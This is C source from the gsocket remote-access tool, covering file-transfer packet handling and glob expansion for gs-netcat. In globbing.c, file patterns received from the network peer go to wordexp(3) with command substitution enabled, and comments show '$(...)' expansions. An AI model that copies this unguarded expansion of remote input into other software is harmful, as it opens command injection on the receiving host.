struct timespec dir_mtime;
// statistics
// Note: xfer might be suspended by 'switch' to another file.
// Log suspended time in usec_suspend.
uint64_t usec_start;
uint64_t usec_end;
uint64_t usec_suspend_start;
uint64_t usec_suspend_duration;
int64_t xfer_amount; // Actual data on the wire
int64_t xfer_amount_scheduled;
};
// Client structure to keep outstanding 'list' request in a GS-LIST
struct _gs_ft_list_pattern
{
uint32_t globbing_id;
char *pattern;
char *wdir; // working directory
};
struct _gs_ft_stats_file
{
uint32_t id;
const char *fname;
uint64_t xfer_duration; // Actual transfer time (without suspension)
uint64_t xfer_amount; // Actual data transferred
int is_zero;
char speed_str[GS_FT_SPEEDSTR_MAXSIZE]; // Speed (bps). Human readable string.
};
typedef void (*gsft_cb_stats_t)(struct _gs_ft_stats_file *s, void *arg);
// Updated after each file completion
typedef struct
{
uint64_t xfer_duration; //
uint64_t xfer_amount; // bytes actually transferred so far
char speed_str[GS_FT_SPEEDSTR_MAXSIZE]; // Overall bps (updated after each file transfer)
int n_files_success; // transferred or skipped so far
int n_files_error;
int64_t xfer_amount_scheduled; // Bytes scheduled (so far) for transfer
} GS_FT_stats;
/*
* Queue'ed error's that need to be send to peer.
*/
struct _gs_ft_qerr
{
uint32_t id;
uint8_t code;
char *str;
};
struct _gs_ft_status
{
uint8_t code;
// struct _gs_ft_file *file;
const char *fname;
const char *err_str;
};
typedef void (*gsft_cb_status_t)(void *ft_ptr, struct _gs_ft_status *s, void *arg);
typedef struct
{
// PUT (upload) - Client Side
GS_LIST fqueue; // Client List of files to be transferred
GS_LIST fputs; // Client list of files we requested transfer (put sent)
GS_LIST faccepted; // Client List of file server has accepted (now can mk_switch() to any of those files)
GS_LIST fcompleted; // Completed. Waiting for 'ERR_COMPLETED'
// PUT (upload) - Server Side
GS_LIST fadded; // Server Side list of ready files
GS_LIST freceiving; // Server Side list of receiving files
// GET (download) - Client Side
GS_LIST plistreq; // Client List of files to be requested (globbing)
GS_LIST plistreq_waiting; // 'list' request sent. awaiting positive reply or error.
GS_LIST flist; // List received from server of files (with names)
GS_LIST fdl_waiting; // List of files to download ('gs_ft_dl' was send for these).
// GET (download) - Server Side
GS_LIST flistreply; // Server list of file to be send to client.
GS_LIST fdl; // List of files ready to send (switch to).
// GS_LIST fdl_completed; // Waiting for ERR_COMPLETED
pid_t pid; // Server only: Use the CWD of this process for uploads/downloadds
int g_id; // global request ID (unique) to match error-replies to requests
int g_globbing_id; // global globbing id
struct _gs_ft_file *active_put_file; // Current active upload file
struct _gs_ft_file *active_dl_file; // Current active download file
gsft_cb_stats_t func_stats;
gsft_cb_status_t func_status;
void *func_arg;
GS_LIST qerrs; // queue'd errors
int is_server;
int is_paused_data; // write() blocked. Queue control data. Pause sending file data
int n_files_waiting; // Files waiting for completion or error FIXME: This should be n_requests_waiting
int is_want_write; // FT has data to write. Requesting call to GS_FT_packet().
// Statistics total (all files)
GS_FT_stats stats;
} GS_FT;
// CLIENT -> Server: upload a file to server.
// Server replies with 'gs_ft_accept'
struct _gs_ft_put
{
uint32_t id;
uint32_t fperm;
int64_t fsize;
uint32_t mtime;
uint8_t flags;
uint8_t reserved[32 - 4 - 4 - 4 - 8 - 1];
uint8_t name[0]; // 0-terminated file name
} __attribute__((__packed__));
// CLIENT -> Server: request a file from server
struct _gs_ft_list_request
{
uint32_t globbing_id; // ID of _this_ LIST request
uint8_t pattern[0]; // 0-terminated file name (globbing allowed: ~/*.[ch])
} __attribute__((__packed__));
// SERVER -> Client: Push a file to server.
struct _gs_ft_list_reply
{
uint32_t globbing_id; // Matching ID of get-request.
uint32_t file_idNOTUSED; // NBO: 0..file_max
uint32_t file_maxNOTUSED; // NBO: max number of files this globbing resolved into
uint32_t fperm;
int64_t fsize;
uint32_t mtime;
uint8_t flags;
uint8_t reserved[32 - 4 - 4 - 4 - 8 - 1];
uint8_t name[0]; // 0-terminated file name
} __attribute__((__packed__));
#define GS_FT_LISTREPLY_FL_LAST (1)
#define GS_FT_FL_ISDIR (2)
// CLIENT -> Server: GET (downlaod) - request file
struct _gs_ft_dl
{
uint32_t id;
uint8_t res[4];
int64_t offset; // Offset to start from
uint8_t res2[8];
uint8_t name[0]; // 0-terminated file name
} __attribute__((__packed__));
// SERVER -> Client: PUT (upload) - accept file
struct _gs_ft_accept
{
uint32_t id;
uint8_t res[4];
int64_t offset_dst; // Server side fsize
uint8_t crcNOTUSED[4];
uint8_t res2[4];
} __attribute__((__packed__));
// CLIENT -> Server: Following data is for this file id.
// SERVER -> Client: Following data is for this file id.
struct _gs_ft_switch
{
uint32_t id;
uint8_t res[4];
// int64_t fsize; // total file size
int64_t offset; // offset to start
} __attribute__((__packed__));
struct _gs_ft_error
{
uint32_t id;
uint8_t code;
uint8_t res[3]; // reerved
uint8_t str[0]; // 0-terminated error string (not used)
} __attribute__((__packed__));
#define GS_FT_ERR_UNKNOWN (0)
#define GS_FT_ERR_PERM (1)
#define GS_FT_ERR_NOENT (2)
#define GS_FT_ERR_BADFSIZE (3) // Size on server is larger
#define GS_FT_ERR_BADF (9)
#define GS_FT_ERR_NODATA (10)
#define GS_FT_ERR_INVAL (11) // wordexp(3) error
#define GS_FT_ERR_COMPLETED (128) // All data written successfully
void GS_FT_init(GS_FT *ft, gsft_cb_stats_t func_stats, gsft_cb_status_t func_status, pid_t pid, void *arg, int is_server);
void GS_FT_free(GS_FT *ft);
int GS_FT_add_file(GS_FT *ft, uint32_t id, const char *fname, size_t len, int64_t fsize, uint32_t mtime, uint32_t fperm, uint8_t flags);
int GS_FT_dl_add_file(GS_FT *ft, uint32_t id, const char *fname, size_t len, int64_t fsize);
int GS_FT_list_add_files(GS_FT *ft, uint32_t get_id, const char *pattern, size_t len);
int GS_FT_list_add(GS_FT *ft, uint32_t globbing_id, const char *fname, size_t len, int64_t fsize, uint32_t mtime, uint32_t fperm, uint8_t flags);
int GS_FT_put(GS_FT *ft, const char *pattern);
int GS_FT_get(GS_FT *ft, const char *pattern);
void GS_FT_switch(GS_FT *ft, uint32_t id, int64_t offset);
void GS_FT_accept(GS_FT *ft, uint32_t id, int64_t offset);
void GS_FT_data(GS_FT *ft, const void *data, size_t len);
void GS_FT_status(GS_FT *ft, uint32_t id, uint8_t code, const char *err_str, size_t len);
void GS_FT_stats_reset(GS_FT *ft);
const char *GS_FT_strerror(uint8_t code);
size_t GS_FT_packet(GS_FT *ft, void *dst, size_t len, int *pkt_type);
void GS_FT_pause_data(GS_FT *ft);
void GS_FT_unpause_data(GS_FT *ft);
#define GS_FT_WANT_WRITE(xft) (xft)->is_want_write
#ifdef SELFTESTS
void GS_FT_init_tests(const char **argv);
#endif
// Packet types
#define GS_FT_TYPE_NONE (0)
#define GS_FT_TYPE_SWITCH (1)
#define GS_FT_TYPE_DATA (2)
#define GS_FT_TYPE_ERROR (3)
#define GS_FT_TYPE_PUT (4)
#define GS_FT_TYPE_DONE (5) // Inform caller that stack is done
#define GS_FT_TYPE_ACCEPT (6)
#define GS_FT_TYPE_LISTREQUEST (7) // CLIENT -> Server (globbing pattern)
#define GS_FT_TYPE_LISTREPLY (8) // SERVER -> Client
#define GS_FT_TYPE_DL (9) // CLIENT -> Server (request file by name)
// Packet Bulding functions
//uint16_t GS_FT_mk_put(GS_FT *ft, void *dst, size_t len, const char *fname);
//uint16_t GS_FT_mk_error(GS_FT *ft, void *dst, size_t len, uint32_t id, uint8_t code, const char *str);
#endif /* !__GS_FILETRANSFER_H__*/
gsocket-1.4.33/tools/filetransfer_mgr.c 0000664 0000000 0000000 00000023010 14072625040 0020072 0 ustar 00root root 0000000 0000000 /*
* Filetransfer Manager - Initialize callbacks for filetransfer.h
*
* Used by gs-netcat and put/get file transfer
*/
#include "common.h"
#include "filetransfer.h"
#include "filetransfer_mgr.h"
#include "pkt_mgr.h"
#include "console.h"
#include "console_display.h"
extern GS_CONDIS gs_condis; // defined in console.c
// SERVER receiving PUT from client
static void
pkt_cb_put(uint8_t chn, const uint8_t *data, size_t len, void *arg)
{
struct _gs_ft_put *p = (struct _gs_ft_put *)data;
struct _gs_ft_put hdr;
struct _peer *peer = (struct _peer *)arg;
GS_FT *ft = &peer->ft;
if (len < sizeof hdr + 1)
return; // protocol error
memcpy(&hdr, data, sizeof hdr);
GS_FT_add_file(ft, ntohl(hdr.id), (char *)p->name, len - sizeof hdr - 1, ntohll(hdr.fsize), ntohl(hdr.mtime), ntohl(hdr.fperm), hdr.flags);
if (GS_FT_WANT_WRITE(ft))
GS_SELECT_FD_SET_W(peer->gs);
}
// SERVER receiving DL from client
static void
pkt_cb_dl(uint8_t chn, const uint8_t *data, size_t len, void *arg)
{
struct _gs_ft_dl *d = (struct _gs_ft_dl *)data;
struct _gs_ft_dl hdr;
struct _peer *peer = (struct _peer *)arg;
GS_FT *ft = &peer->ft;
if (len < sizeof hdr + 1)
return; // protocol error
memcpy(&hdr, data, sizeof hdr);
GS_FT_dl_add_file(ft, ntohl(hdr.id), (char *)d->name, len - sizeof hdr - 1, ntohll(hdr.offset));
if (GS_FT_WANT_WRITE(ft))
GS_SELECT_FD_SET_W(peer->gs);
}
// SERVER receiving a LIST request from client
static void
pkt_cb_listrequest(uint8_t chn, const uint8_t *data, size_t len, void *arg)
{
DEBUGF_B("LIST-REQUEST received!\n");
struct _gs_ft_list_request *lr = (struct _gs_ft_list_request *)data;
struct _gs_ft_list_request hdr;
struct _peer *peer = (struct _peer *)arg;
GS_FT *ft = &peer->ft;
if (len < sizeof hdr + 1)
return; // protocol error
memcpy(&hdr, data, sizeof hdr);
GS_FT_list_add_files(ft, ntohl(hdr.globbing_id), (char *)lr->pattern, len - sizeof hdr - 1);
if (GS_FT_WANT_WRITE(ft))
GS_SELECT_FD_SET_W(peer->gs);
}
// CLIENT receiving answer to LIST request
static void
pkt_cb_listreply(uint8_t chn, const uint8_t *data, size_t len, void *arg)
{
// DEBUGF_B("LIST-REPLY received\n");
struct _gs_ft_list_reply *lr = (struct _gs_ft_list_reply *)data;
struct _gs_ft_list_reply hdr;
struct _peer *peer = (struct _peer *)arg;
GS_FT *ft = &peer->ft;
if (len < sizeof hdr + 1)
return;
memcpy(&hdr, data, sizeof hdr);
GS_FT_list_add(ft, ntohl(hdr.globbing_id), (char *)lr->name, len - sizeof hdr - 1, ntohll(hdr.fsize), ntohl(hdr.mtime), ntohl(hdr.fperm), hdr.flags);
if (GS_FT_WANT_WRITE(ft))
GS_SELECT_FD_SET_W(peer->gs);
}
static void
pkt_cb_switch(uint8_t chn, const uint8_t *data, size_t len, void *arg)
{
struct _gs_ft_switch hdr;
struct _peer *peer = (struct _peer *)arg;
GS_FT *ft = &peer->ft;
if (len < sizeof hdr)
return; // protocol error
memcpy(&hdr, data, sizeof hdr);
GS_FT_switch(ft, ntohl(hdr.id), ntohll(hdr.offset));
if (GS_FT_WANT_WRITE(ft))
GS_SELECT_FD_SET_W(peer->gs);
}
/* SERVER receiving DATA from client */
static void
pkt_cb_data(uint8_t chn, const uint8_t *data, size_t len, void *arg)
{
struct _peer *peer = (struct _peer *)arg;
GS_FT *ft = &peer->ft;
// DEBUGF("Data chn %d, len %zu\n", chn, len);
GS_FT_data(ft, data, len);
if (GS_FT_WANT_WRITE(ft))
GS_SELECT_FD_SET_W(peer->gs);
}
/* PUT, CLIENT receiving ACCEPT from server */
static void
pkt_cb_accept(uint8_t chn, const uint8_t *data, size_t len, void *arg)
{
struct _gs_ft_accept hdr;
struct _peer *peer = (struct _peer *)arg;
GS_FT *ft = &peer->ft;
if (len < sizeof hdr)
return; // protocol error
memcpy(&hdr, data, sizeof hdr);
GS_FT_accept(ft, ntohl(hdr.id), ntohll(hdr.offset_dst));
if (GS_FT_WANT_WRITE(ft))
GS_SELECT_FD_SET_W(peer->gs);
}
// Client & Server
static void
pkt_cb_error(uint8_t chn, const uint8_t *data, size_t len, void *arg)
{
struct _gs_ft_error *p = (struct _gs_ft_error *)data;
struct _gs_ft_error hdr;
struct _peer *peer = (struct _peer *)arg;
GS_FT *ft = &peer->ft;
if (len < sizeof hdr + 1)
return; // protocol error
memcpy(&hdr, data, sizeof hdr);
GS_FT_status(ft, ntohl(hdr.id), hdr.code, (char *)p->str, len - sizeof hdr - 1);
if (GS_FT_WANT_WRITE(ft))
{
// GS_FT-stack wants caller to call GS_FT_packet(). The only way we can
// trigger this is to set FD_SET_W() and we know that after select()
// we call GS_FT_packet()...
GS_SELECT_FD_SET_W(peer->gs);
}
}
// Output total stats
static void
print_stats_ft(GS_FT_stats *st)
{
DEBUGF_Y("Speed : %s\n", st->speed_str);
DEBUGF_Y("Amount : %"PRIu64"/%"PRIu64"usec\n", st->xfer_amount, st->xfer_duration);
DEBUGF_Y("Success: %d\n", st->n_files_success);
DEBUGF_Y("Errors : %d\n", st->n_files_error);
}
// On file transfer completion (for each file)
static void
cb_stats(struct _gs_ft_stats_file *s, void *arg)
{
struct _peer *p = (struct _peer *)arg;
DEBUGF_C("%u stats: %s\n", s->id, s->fname);
DEBUGF_C("Speed: %s\n", s->speed_str);
print_stats_ft(&p->ft.stats);
char buf[256];
snprintf(buf, sizeof buf, "[%s] %s", s->speed_str, s->fname);
GS_condis_log(&gs_condis, GS_PKT_APP_LOG_TYPE_DEFAULT, buf);
CONSOLE_draw(gs_condis.fd);
}
// Status and Error messages
static void
cb_errors(void *ft_ptr, struct _gs_ft_status *s, void *arg)
{
// struct _peer *p = (struct _peer *)arg;
DEBUGF_M("Code : %u\n", s->code);
DEBUGF_M("Error : '%s'\n", s->err_str);
DEBUGF_M("File : %s\n", s->fname);
// COMPLETE messages are not displayed as errors.
if (s->code == GS_FT_ERR_COMPLETED)
return;
// char buf[256];
// snprintf(buf, sizeof buf, "(%u)%s", s->code, s->err_str);
GS_condis_log(&gs_condis, GS_PKT_APP_LOG_TYPE_NOTICE, s->err_str);
CONSOLE_draw(gs_condis.fd);
}
// Return length of packet created.
// Return 0 on if not packet available.
// Return -1 if all files have been transferred (client only. Server never stops
// as server is always waiting for instructions by client to get/put more files).
// Return -2 if not enough space.
ssize_t
GS_FTM_mk_packet(GS_FT *ft, uint8_t *dst, size_t dlen)
{
struct gs_pkt_chn_hdr *hdr = (struct gs_pkt_chn_hdr *)dst;
int pkt_type;
size_t max_len;
char buf[256];
GS_FT_stats *st = &ft->stats;
if (dlen <= sizeof *hdr)
return -2; // Insuficient space.
max_len = MIN(GS_PKT_MAX_SIZE, dlen - sizeof *hdr);
ssize_t sz;
sz = GS_FT_packet(ft, dst + sizeof *hdr, max_len, &pkt_type);
switch (pkt_type)
{
case GS_FT_TYPE_NONE:
// Nothing to write...waiting for peer's reply.
// DEBUGF_G("TYPE NONE\n");
return 0;
case GS_FT_TYPE_DONE:
// DEBUGF_W("GS_FT_TYPE_DONE\n");
// CLIENT only: done with all files.
// FIXME: for a 'get' request this is triggered very late and not as soon
// as the filetransfer is done (because select() only waits for reading
// and while there is no data to write then GS_FTM_mk_packet is only called after
// select() returns after 1sec idle.
if (st->n_files_success + st->n_files_error >= 2) // Summary for Multi-file transfers only
{
// FIXME: turn /sec into h/min/sec etc (e.g. 99999.8h or 99.4 minutes or 99.5 sec or 0.102 sec)
if (st->n_files_success > 0)
{
float ms = (float)st->xfer_duration / 1000;
snprintf(buf, sizeof buf, "OK: %d/%d [%s] (%"PRIu64"/%1.03fsec)", st->n_files_success, st->n_files_success + st->n_files_error, st->speed_str, st->xfer_amount, ms / 1000);
GS_condis_log(&gs_condis, GS_PKT_APP_LOG_TYPE_INFO, buf);
}
if (st->n_files_error > 0)
{
snprintf(buf, sizeof buf, "FAILED: %d", st->n_files_error);
GS_condis_log(&gs_condis, GS_PKT_APP_LOG_TYPE_ALERT, buf);
}
}
if (st->n_files_success + st->n_files_error > 0)
GS_FT_stats_reset(ft);
CONSOLE_draw(gs_condis.fd);
// DEBUGF_G("All done (%d/%d)\n", st->n_files_success, st->n_files_error);
return -1;
case GS_FT_TYPE_PUT:
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_PUT);
break;
case GS_FT_TYPE_ERROR:
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_ERROR);
break;
case GS_FT_TYPE_SWITCH:
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_SWITCH);
break;
case GS_FT_TYPE_ACCEPT:
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_ACCEPT);
break;
case GS_FT_TYPE_DATA:
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_DATA);
break;
case GS_FT_TYPE_LISTREQUEST:
// GET (download), CLIENT
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_LIST_REQUEST);
break;
case GS_FT_TYPE_LISTREPLY:
// SERVER (reply to 'get' (list request))
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_LIST_REPLY);
break;
case GS_FT_TYPE_DL:
// CLIENT - download by filename
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_DL);
break;
default:
ERREXIT("unknown type %d\n", pkt_type);
}
hdr->esc = GS_PKT_ESC;
uint16_t len = htons(sz);
memcpy(&hdr->len, &len, sizeof len);
return sz + sizeof *hdr;
}
void
GS_FTM_init(struct _peer *p, int is_server)
{
GS_PKT_assign_chn(&p->pkt, GS_FT_CHN_ERROR, pkt_cb_error, p);
if (is_server == 0)
{
// CLIENT
GS_FT_init(&p->ft, cb_stats, cb_errors, 0 /*pid, unused*/, p, 0);
// PUT (upload)
GS_PKT_assign_chn(&p->pkt, GS_FT_CHN_ACCEPT, pkt_cb_accept, p);
// GET (download)
GS_PKT_assign_chn(&p->pkt, GS_FT_CHN_LIST_REPLY, pkt_cb_listreply, p);
GS_PKT_assign_chn(&p->pkt, GS_FT_CHN_DATA, pkt_cb_data, p);
GS_PKT_assign_chn(&p->pkt, GS_FT_CHN_SWITCH, pkt_cb_switch, p);
} else {
// SERVER
GS_FT_init(&p->ft, NULL, cb_errors, p->pid, p, 1);
// PUT (upload)
GS_PKT_assign_chn(&p->pkt, GS_FT_CHN_PUT, pkt_cb_put, p);
GS_PKT_assign_chn(&p->pkt, GS_FT_CHN_DATA, pkt_cb_data, p);
GS_PKT_assign_chn(&p->pkt, GS_FT_CHN_SWITCH, pkt_cb_switch, p);
// GET (download)
GS_PKT_assign_chn(&p->pkt, GS_FT_CHN_LIST_REQUEST, pkt_cb_listrequest, p);
GS_PKT_assign_chn(&p->pkt, GS_FT_CHN_DL, pkt_cb_dl, p);
}
}
void
GS_FTM_free(struct _peer *p)
{
GS_FT_free(&p->ft);
}
gsocket-1.4.33/tools/filetransfer_mgr.h 0000664 0000000 0000000 00000000401 14072625040 0020076 0 ustar 00root root 0000000 0000000 #ifndef __GS_FILETRANSFER_MGR_H__
#define __GS_FILETRANSFER_MGR_H__ 1
void GS_FTM_init(struct _peer *p, int is_server);
void GS_FTM_free(struct _peer *p);
ssize_t GS_FTM_mk_packet(GS_FT *ft, uint8_t *dst, size_t dlen);
#endif // __GS_FILETRANSFER_MGR_H__ gsocket-1.4.33/tools/globbing.c 0000664 0000000 0000000 00000023513 14072625040 0016334 0 ustar 00root root 0000000 0000000 /*
* Create a file list. Used by filetransfer.c (which is used by
* gs-netcat.c)
*
* Used 'wordexp(3)' where available. Alernatively use 'sh -c echo $str'
* (not implemented)
*/
#include "common.h"
#include
#include
#include "utils.h"
#include "globbing.h"
static void
gl_add_file(gsglobbing_cb_t func, GS_GL *res)
{
(*func)(res);
}
static void
gl_add_dir(gsglobbing_cb_t func, GS_GL *res)
{
(*func)(res);
}
static void
gl_dir(gsglobbing_cb_t func, const char *path, GS_GL *res)
{
DIR *d;
d = opendir(path);
if (d == NULL)
return;
struct dirent *entry;
for (entry = readdir(d); entry != NULL; entry = readdir(d))
{
char fullname[4096];
int is_dir = 0;
int is_reg = 0;
res->name = fullname;
snprintf(fullname, sizeof fullname, "%s/%s", path, entry->d_name);
#ifdef __sun
// Solaris does not support d_type. Use stat()
struct stat sr;
if (stat(fullname, &sr) == 0)
{
if (S_ISDIR(sr.st_mode))
is_dir = 1;
else if (S_ISREG(sr.st_mode))
is_reg = 1;
} else {
DEBUGF_R("FAIL %s\n", entry->d_name);
continue;
}
#else
if (entry->d_type == DT_DIR)
is_dir = 1;
else if (entry->d_type == DT_REG)
is_reg = 1;
#endif
if (is_dir)
{
if ((strlen(entry->d_name) == 1) && (entry->d_name[0] == '.'))
continue;
if ((strlen(entry->d_name) == 2) && (memcmp(entry->d_name, "..", 2) == 0))
continue;
gl_add_dir(func, res);
gl_dir(func, fullname, res); // recursive call
} else if (is_reg) {
gl_add_file(func, res);
} else {
DEBUGF_R("FAIL (is_reg=%d, is_dir=%d) %s\n", is_reg, is_dir, entry->d_name);
}
}
closedir(d);
}
static void
gs_gl(gsglobbing_cb_t func, const char *path, GS_GL *res)
{
DEBUGF("Glob(%s)\n", path);
int rv;
struct stat s;
rv = stat(path, &s);
// if stat() fails then still send this result back to caller.
// This can happen when caller requests "notexist.dat".
res->name = path;
// If file then call callback.
if ((rv != 0) || S_ISREG(s.st_mode))
{
gl_add_file(func, res);
return;
}
// If directory then call callback, enter directory and traverse
if (S_ISDIR(s.st_mode))
{
gl_add_dir(func, res);
gl_dir(func, path, res);
return;
}
return;
}
// GET (download)
// assume CWD==/tmp
// get /tmp/f* should create foo/bar/test4k.dat [file /tmp/./foo/bar/test4k.dat]
// get foo/*.dat should create test1k.dat [file /tmp/foo/./test1k.dat]
// get foo/./bar/test4k.dat should create bar/test4k.dat [file /tmp/foo/bar/test4k.dat]
// get $(find /tmp/ -name *.dat) should create bar/test4k.dat and test1k.dat by using
// smallest common base (/tmp/foo)
// [file /tmp/foo/./bar/test4k.dat /tmp/foo/./test1k.dat]
// The CWD might change between the LIST-request and actual file request. Thus any file-list returned
// to the downloading client must contain the _absolute_ path to the file (rather than relative).
// - If file is a relative request then prefix with '${CWD}/./'.
// - If file is absolute request then add '/./' (see below how to add this).
// => Add '/./' last.
// PUT (upload)
// Test Cases:
// ./filetransfer-test G '$(echo dir1/foo.txt dir2)'
// How to insert '/./'
// Wordexp() might do command substituion (replacing $(command) by the output of command). This
// needs consideration of where to add the '/./'.
// - If fname already contains '/./' then do nothing.
int
GS_GLOBBING(gsglobbing_cb_t func, const char *exp, uint32_t glob_id, void *arg_ptr, uint32_t arg_val)
{
// wordexp(3) to expand expressions like '*.[ch]'.
wordexp_t p;
int i;
char **w;
char buf[4096];
int n_found;
char *wdir;
GS_GL res;
res.globbing_id = glob_id;
res.arg_ptr = arg_ptr;
res.arg_val = arg_val;
wdir = getcwdx();
if (wdir == NULL)
{
DEBUGF_R("getcwd(): %s\n", strerror(errno));
return 0;
}
DEBUGF("G#%u GS_GLOBBING('%s') [wdir='%s']\n", glob_id, exp, wdir);
// Special case: Globbing loop below discards '.' from globbing results
if (strcmp(exp, ".") == 0)
exp = "./";
// Test Setup:
// mkdir -p /tmp/foo/dir_empty /tmp/foo/dir1
// cp /etc/hosts /tmp/foo/dir1/
// cp /etc/passwd /tmp/foo/.rcfile
// CASES for globbing and what file structure to create at _destination_:
// put /tmp/f* should create foo/bar/test4k.dat but not /tmp/foo/bar/test4k.dat
// put /tmp/foo should create foo/* (and .rcfile)
// put /tmp/foo/* should create ./* (but not foo/* and not .rcfile)
// put /tmp/foo/ should create ./* (and .rcfile) [[** SPECIAL CASE**]]
// put /tmp/foo/. should create ./* (and .rcfile)
// put /tmp/foo/bar/test4k.dat should create test4k.dat
// put /tmp/./foo/* should create foo/* (but not .rcfile)
// put /tmp/./foo/ should create foo/* (and .rcfile)
// put /tmp/./foo should create foo/* (and .rcfile)
// put /./tmp/foo should create ./tmp/foo/* (and .rcfile)
// cd /tmp/foo; put . should create ./* (and .rcfile)
// put $(find /tmp/ -name *.dat) should based on smallest common directory structure (base).
// -> /tmp/foo/bar/test1k.dat /tmp/foo/test4k.dat then base => /tmp/foo
// -> /tmp/test1k.dat /tmp/foo/bar/test1k.dat then base => /tmp
int ret;
signal(SIGCHLD, SIG_DFL);
ret = wordexp(exp, &p, 0);
signal(SIGCHLD, SIG_IGN);
if (ret != 0)
return 0; // error (0 found)
w = p.we_wordv;
n_found = p.we_wordc;
if (n_found <= 0)
goto done;
char base_buf[4096];
char *base = base_buf;
// Find the smallest common name of directory. This is needed
// when wordexp(3) does command subs such as '$(find /tmp -name \*.dat)'
//
// /tmp/foo/test1k.dat /tmp/foo/bar/test4k.dat
// base => /tmp/foo
//
// foo/bar/test4k.dat foo/test1k.dat
// base => foo
//
// foo/bar/test4k.dat foo/test1k.dat test8k.dat
// base => "" (empty)
snprintf(base_buf, sizeof base_buf, "%s", w[0]);
char *ptr;
ptr = rindex(base, '/');
if (ptr != NULL)
{
*ptr = '\0';
for (i = 1; i < p.we_wordc; i++)
{
int ii;
for (ii = 0; base[ii] == w[i][ii]; ii++)
{
continue;
}
// DEBUGF("last identical at %d [%s]\n", ii, w[i]);
// if it was "/tmp/dir1" and "/tmp/dir2" then make base => /tmp
// if it was /tmp/foo/bar.txt and /tmp/foo/dir2 then make base => /tmp/foo
for (; ii > 0 && w[i][ii] != '/'; ii--)
{
continue;
}
// DEBUGF("/ at %d\n", ii);
base[ii] = '\0'; // trailing '/' or empty string (ii==0)
if (ii <= 0)
break;
}
} else {
base[0] = '\0';
}
DEBUGF_C("base = '%s'\n", base);
for (i = 0; i < p.we_wordc; i++)
{
// Check if '/tmp/foo/.*' was specified and ignore expansion for those cases:
// 1. /tmp/foo/.* shall not glob /tmp/foo/.. or /tmp/foo/. but only /tmp/foo/.rcfile
// 2. '.*' shall not glob '..' or '.' but only '.rcfile'
// 3. 'testfile.' shall still glob 'testfile.' [note the '.' at the end of the filename]
size_t sz = strlen(w[i]);
if (sz >= 3)
{
// Special case: put /tmp/foo/.* shall not glob /tmp/foo/.. [/tmp/]
if (memcmp(w[i] + sz - 3, "/..", 3) == 0)
continue;
}
if (sz >= 2)
{
// Special case: put /tmp/foo/.* shall not glob /tmp/foo/. but only /tmp/foo/.rcfile
if (memcmp(w[i] + sz - 2, "/.", 2) == 0)
continue;
if ((sz == 2) && memcmp(w[i], "..", 2) == 0)
continue;
}
if ((sz == 1) && (memcmp(w[i], ".", 1) == 0))
continue;
// Add '/./'
char *fname = w[i];
DEBUGF_C("fname = '%s'\n", fname);
// GET request of "./foo/bar/test1k.dat" should be treated as "foo/bar/test1k.dat"
// and create file 'foo/bar/./test1k.dat'.
// PUT request of "././foo/bar/test1k.dat" should
// and create file '././foo/bar/test1k.dat'
while (1)
{
if ((base[0] == 0) || (base[1] == 0))
break;
if ((base[0] == '.') && (base[1] == '/'))
base += 2;
break;
}
DEBUGF_C("BASE = %s\n", base);
int is_absolute = 0;
ptr = fname;
while (*ptr == '/')
{
ptr++;
is_absolute = 1; // Starts with '/'
}
if (strstr(fname, "/./") == NULL)
{
// Does NOT contain '/./'.
// $ get 'foo/*'
// wdir=/tmp, base=foo => /tmp/foo/bar/test4k.dat & /tmp/foo/test1k.dat
// base = foo
// $ get '$(find //tmp/foo -name \*.dat)'
ptr = rindex(ptr, '/');
if (ptr == NULL)
{
// single file without directory structure
if (is_absolute)
{
// "/test[14]k.dat"
DEBUGF_Y("1\n");
snprintf(buf, sizeof buf, "/./%s", fname);
} else {
// "test[14]k.dat"
DEBUGF_Y("2\n");
snprintf(buf, sizeof buf, "%s/./%s", wdir, fname);
}
} else {
// HERE: fname contains '/' (e.g tmp/foo or foo/bar/test1k.dat)
if (is_absolute)
{
// "/tmp/foo/" or "/tmp/foo/*" or "/tmp/fo*"
sz = strlen(base_buf);
XASSERT(sz <= strlen(fname), "fname to short\n");
DEBUGF_Y("3\n");
SNPRINTF_ABORT(buf, sizeof buf, "%s/.%s", base, fname + sz);
} else {
if (base[0] == '\0')
{
// $(echo dir1/ dir2/)
DEBUGF_Y("4\n");
snprintf(buf, sizeof buf, "%s/./%s", wdir, fname);
} else {
// "foo/*"
sz = strlen(base_buf);
XASSERT(sz <= strlen(fname), "fname to short.\n");
DEBUGF_Y("5\n");
SNPRINTF_ABORT(buf, sizeof buf, "%s/%s/.%s", wdir, base, fname + sz);
}
}
}
fname = buf;
} else {
// HERE: Contains '/./'
if (is_absolute)
{
// '/etc/./ssh/ssh_config'
snprintf(buf, sizeof buf, "%s", fname); // as is
} else {
// foo/./bar/test1k.dat
sz = strlen(base_buf);
XASSERT(sz <= strlen(fname), "fname to short.\n");
DEBUGF_Y("6\n");
SNPRINTF_ABORT(buf, sizeof buf, "%s/%s%s", wdir, base, fname + sz);
}
fname = buf;
}
DEBUGF_C("Globb result '%s' -> '%s'\n", w[i], fname);
gs_gl(func, fname, &res);
}
done:
wordfree(&p);
XFREE(wdir);
return n_found;
}
static uint32_t glob_id = 0xFFFFFFFF;
int
GS_GLOBBING_argv(gsglobbing_cb_t func, const char *argv[], void *arg_ptr, uint32_t arg_val)
{
const char *ptr;
if (argv == NULL)
return -1; // Bad parameter
for (ptr = *argv; ptr != NULL; argv++)
{
GS_GLOBBING(func, ptr, glob_id, arg_ptr, arg_val);
glob_id--;
ptr = *argv;
}
return 0;
}
#if 0
int
GS_GLOBBING_free(GS_GL *ctx)
{
return 0;
}
#endif gsocket-1.4.33/tools/globbing.h 0000664 0000000 0000000 00000000762 14072625040 0016342 0 ustar 00root root 0000000 0000000 #ifndef __GS_GLOBBING_H__
#define __GS_GLOBBING_H__ 1
typedef struct
{
const char *name;
mode_t mode;
uint32_t globbing_id;
void *arg_ptr;
uint32_t arg_val;
} GS_GL;
struct _gs_gl
{
int res;
void *func;
};
typedef void (gsglobbing_cb_t)(GS_GL *res);
int GS_GLOBBING(gsglobbing_cb_t func, const char *path, uint32_t glob_id, void *arg_ptr, uint32_t arg_val);
